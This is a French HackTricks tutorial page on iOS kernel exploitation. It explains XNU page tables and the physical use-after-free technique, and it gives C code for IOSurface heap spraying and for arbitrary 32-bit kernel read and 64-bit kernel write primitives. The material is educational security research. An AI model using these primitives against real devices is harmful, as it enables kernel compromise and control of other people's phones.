iOS Exploiting

Reading time: 9 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Utilisation physique aprÚs libération

Ceci est un rĂ©sumĂ© du post de https://alfiecg.uk/2024/09/24/Kernel-exploit.html, de plus, des informations supplĂ©mentaires sur l'exploitation utilisant cette technique peuvent ĂȘtre trouvĂ©es dans https://github.com/felix-pb/kfd

Gestion de la mémoire dans XNU

L'espace d'adresses mémoire virtuelle pour les processus utilisateurs sur iOS s'étend de 0x0 à 0x8000000000. Cependant, ces adresses ne correspondent pas directement à la mémoire physique. Au lieu de cela, le noyau utilise des tables de pages pour traduire les adresses virtuelles en adresses physiques réelles.

Niveaux des Tables de Pages dans iOS

Les tables de pages sont organisées hiérarchiquement en trois niveaux :

  1. Table de Pages L1 (Niveau 1) :
  • Chaque entrĂ©e ici reprĂ©sente une large plage de mĂ©moire virtuelle.
  • Elle couvre 0x1000000000 bytes (ou 256 Go) de mĂ©moire virtuelle.
  1. Table de Pages L2 (Niveau 2) :
  • Une entrĂ©e ici reprĂ©sente une rĂ©gion plus petite de mĂ©moire virtuelle, spĂ©cifiquement 0x2000000 bytes (32 Mo).
  • Une entrĂ©e L1 peut pointer vers une table L2 si elle ne peut pas mapper toute la rĂ©gion elle-mĂȘme.
  1. Table de Pages L3 (Niveau 3) :
  • C'est le niveau le plus fin, oĂč chaque entrĂ©e mappe une seule page mĂ©moire de 4 Ko.
  • Une entrĂ©e L2 peut pointer vers une table L3 si un contrĂŽle plus granulaire est nĂ©cessaire.

Mapping de la Mémoire Virtuelle à Physique

  • Mapping Direct (Mapping par Bloc) :
  • Certaines entrĂ©es dans une table de pages mappent directement une plage d'adresses virtuelles Ă  une plage contiguĂ« d'adresses physiques (comme un raccourci).
  • Pointeur vers la Table de Pages Enfant :
  • Si un contrĂŽle plus fin est nĂ©cessaire, une entrĂ©e Ă  un niveau (par exemple, L1) peut pointer vers une table de pages enfant au niveau suivant (par exemple, L2).

Exemple : Mapping d'une Adresse Virtuelle

Disons que vous essayez d'accéder à l'adresse virtuelle 0x1000000000 :

  1. Table L1 :
  • Le noyau vĂ©rifie l'entrĂ©e de la table de pages L1 correspondant Ă  cette adresse virtuelle. Si elle a un pointeur vers une table de pages L2, elle va Ă  cette table L2.
  1. Table L2 :
  • Le noyau vĂ©rifie la table de pages L2 pour un mapping plus dĂ©taillĂ©. Si cette entrĂ©e pointe vers une table de pages L3, elle y procĂšde.
  1. Table L3 :
  • Le noyau consulte l'entrĂ©e finale L3, qui pointe vers l'adresse physique de la page mĂ©moire rĂ©elle.

Exemple de Mapping d'Adresse

Si vous écrivez l'adresse physique 0x800004000 dans le premier index de la table L2, alors :

  • Les adresses virtuelles de 0x1000000000 Ă  0x1002000000 mappent aux adresses physiques de 0x800004000 Ă  0x802004000.
  • C'est un mapping par bloc au niveau L2.

Alternativement, si l'entrée L2 pointe vers une table L3 :

  • Chaque page de 4 Ko dans la plage d'adresses virtuelles 0x1000000000 -> 0x1002000000 serait mappĂ©e par des entrĂ©es individuelles dans la table L3.

Utilisation physique aprÚs libération

Une utilisation physique aprÚs libération (UAF) se produit lorsque :

  1. Un processus alloue de la mémoire comme lisible et écrivable.
  2. Les tables de pages sont mises à jour pour mapper cette mémoire à une adresse physique spécifique que le processus peut accéder.
  3. Le processus désalloue (libÚre) la mémoire.
  4. Cependant, en raison d'un bug, le noyau oublie de supprimer le mapping des tables de pages, mĂȘme s'il marque la mĂ©moire physique correspondante comme libre.
  5. Le noyau peut alors réallouer cette mémoire physique "libérée" à d'autres fins, comme des données du noyau.
  6. Puisque le mapping n'a pas été supprimé, le processus peut toujours lire et écrire dans cette mémoire physique.

Cela signifie que le processus peut accéder aux pages de mémoire du noyau, qui pourraient contenir des données ou des structures sensibles, permettant potentiellement à un attaquant de manipuler la mémoire du noyau.

Stratégie d'Exploitation : Spray de Tas

Puisque l'attaquant ne peut pas contrÎler quelles pages spécifiques du noyau seront allouées à la mémoire libérée, il utilise une technique appelée spray de tas :

  1. L'attaquant crée un grand nombre d'objets IOSurface dans la mémoire du noyau.
  2. Chaque objet IOSurface contient une valeur magique dans l'un de ses champs, ce qui le rend facile Ă  identifier.
  3. Ils scannent les pages libérées pour voir si l'un de ces objets IOSurface s'est retrouvé sur une page libérée.
  4. Lorsqu'ils trouvent un objet IOSurface sur une page libérée, ils peuvent l'utiliser pour lire et écrire dans la mémoire du noyau.

Plus d'infos Ă  ce sujet dans https://github.com/felix-pb/kfd/tree/main/writeups

Processus de Spray de Tas Étape par Étape

  1. Spray d'Objets IOSurface : L'attaquant crée de nombreux objets IOSurface avec un identifiant spécial ("valeur magique").
  2. Scanner les Pages Libérées : Ils vérifient si l'un des objets a été alloué sur une page libérée.
  3. Lire/Écrire dans la MĂ©moire du Noyau : En manipulant des champs dans l'objet IOSurface, ils obtiennent la capacitĂ© d'effectuer des lectures et Ă©critures arbitraires dans la mĂ©moire du noyau. Cela leur permet de :
  • Utiliser un champ pour lire n'importe quelle valeur 32 bits dans la mĂ©moire du noyau.
  • Utiliser un autre champ pour Ă©crire des valeurs 64 bits, atteignant un primitive de lecture/Ă©criture stable du noyau.

Générer des objets IOSurface avec la valeur magique IOSURFACE_MAGIC pour rechercher plus tard :

c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;

size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;

IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;

(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}

Recherchez des objets IOSurface dans une page physique libérée :

c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;

for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);

for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);

for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}

sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);

return 0;
}

Réaliser des opérations de lecture/écriture du noyau avec IOSurface

AprÚs avoir obtenu le contrÎle d'un objet IOSurface dans la mémoire du noyau (mappé à une page physique libérée accessible depuis l'espace utilisateur), nous pouvons l'utiliser pour des opérations de lecture et d'écriture arbitraires dans le noyau.

Champs clés dans IOSurface

L'objet IOSurface a deux champs cruciaux :

  1. Pointeur de compteur d'utilisation : Permet une lecture 32 bits.
  2. Pointeur d'horodatage indexé : Permet une écriture 64 bits.

En écrasant ces pointeurs, nous les redirigeons vers des adresses arbitraires dans la mémoire du noyau, permettant des capacités de lecture/écriture.

Lecture du noyau 32 bits

Pour effectuer une lecture :

  1. Écrasez le pointeur de compteur d'utilisation pour qu'il pointe vers l'adresse cible moins un dĂ©calage de 0x14 octets.
  2. Utilisez la méthode get_use_count pour lire la valeur à cette adresse.
c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}

uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}

Écriture du noyau 64 bits

Pour effectuer une écriture :

  1. Écrasez le pointeur de timestamp indexĂ© Ă  l'adresse cible.
  2. Utilisez la méthode set_indexed_timestamp pour écrire une valeur 64 bits.
c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}

void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}

Récapitulatif du Flux d'Exploitation

  1. Déclencher un Utilisation-AprÚs-Libre Physique : Des pages libérées sont disponibles pour réutilisation.
  2. Pulvériser des Objets IOSurface : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
  3. Identifier un IOSurface Accessible : Localiser un IOSurface sur une page libérée que vous contrÎlez.
  4. Abuser de l'Utilisation-AprÚs-Libre : Modifier les pointeurs dans l'objet IOSurface pour permettre une lecture/écriture kernel arbitraire via les méthodes IOSurface.

Avec ces primitives, l'exploitation fournit des lectures 32 bits contrÎlées et des écritures 64 bits dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks